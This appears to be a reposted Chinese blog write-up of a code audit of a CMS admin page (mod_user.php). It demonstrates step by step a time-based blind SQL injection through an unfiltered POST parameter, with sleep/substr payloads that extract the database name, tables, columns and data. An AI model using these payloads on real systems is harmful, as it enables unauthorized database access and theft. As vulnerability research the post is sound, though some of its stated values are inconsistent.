一次代码审计盲注

官网下载最新的安装包2019.3.13
具体文件安装后admindm-yourname\mod_account\mod_user.php
既http://域名/admindm-yourname\mod_account\mod_user.php
代码分析
在这里插入图片描述
登录后在添加管理处,存在修改pos参数,通过post传递值,无任何过滤,无回显,可进行时间盲注
在这里插入图片描述

在bp中添加‘and sleep(5) --+证明注入
在这里插入图片描述

因为数据库用户数为2所以时间为11s。这里需指定用户id,可点击管理员修改得到任一用户ID
在这里插入图片描述
既bp中k=1 ‘ where id =107 and sleep(5) --+
在这里插入图片描述
插入数据库代码

注入存在,开始注数据
猜数据库长度
k=1’ where id =107 and if(length(database())=5,sleep(5),1)–+
在这里插入图片描述

截取数据库第一个字符
and If(ascii(substr(database(),1,1))=100,sleep(10),1)–+
在这里插入图片描述

对于dtcms第一个d,acsii码为100.修改为substr(database(),2,1即可第二位,不在演示,最终得到库名为dtcms(建库时输错,本cms为dmcms)
爆dtcms库第一个表长度,and If(length((select table_name from information_schema.tables where table_schema=‘dtcms’ limit 0,1))=9,sleep(5),1)–+得到长度为9,将limit 0,1换为1,1既第二个表,不在演示
在这里插入图片描述
爆第一个表名第一位
If(ascii(substr((select table_name from information_schema.tables where table_schema=‘dtcms’ limit 0,1),1,1))=122,sleep(5),1)–+
在这里插入图片描述
这样得到第一个表第一个字符,将1,1改为2,1既第二个字符,以此将第一个表明查询出为zzz_album
爆zzz_album表的第一个列名长度and If(length((select column_name from information_schema.columns where table_schema='dtcms‘ and table_name=‘zzz_album’ limit 0,1))=8,sleep(10),1)–+
在这里插入图片描述得到第一列列名长度为2
猜第一列列名and If(ascii(substr((select column_name from information_schema.columns where table_schema=‘dtcms’ and table_name=‘zzz_album’ limit 0,1),1,1))=105,sleep(5),1)–+
在这里插入图片描述

得到第一位为i,同上第二位为d。
猜Id列第一个数据的长度
If(length((select id from dtcms. zzz_album limit 0,1))=3,sleep(5),1)–+
在这里插入图片描述
长度为3
猜id列第一个数据一个字符
and If(ascii(substr((select id from dtcms. zzz_album limit 0,1),1,1))=49,sleep(5),1)—
在这里插入图片描述

猜出第一个为1,依次猜出为7,7
在这里插入图片描述
在这里插入图片描述
得到数据id第一列第一个数据为177
在这里插入图片描述
重复以上方法可全部注出

猜你喜欢

转载自blog.csdn.net/ws13129/article/details/88939020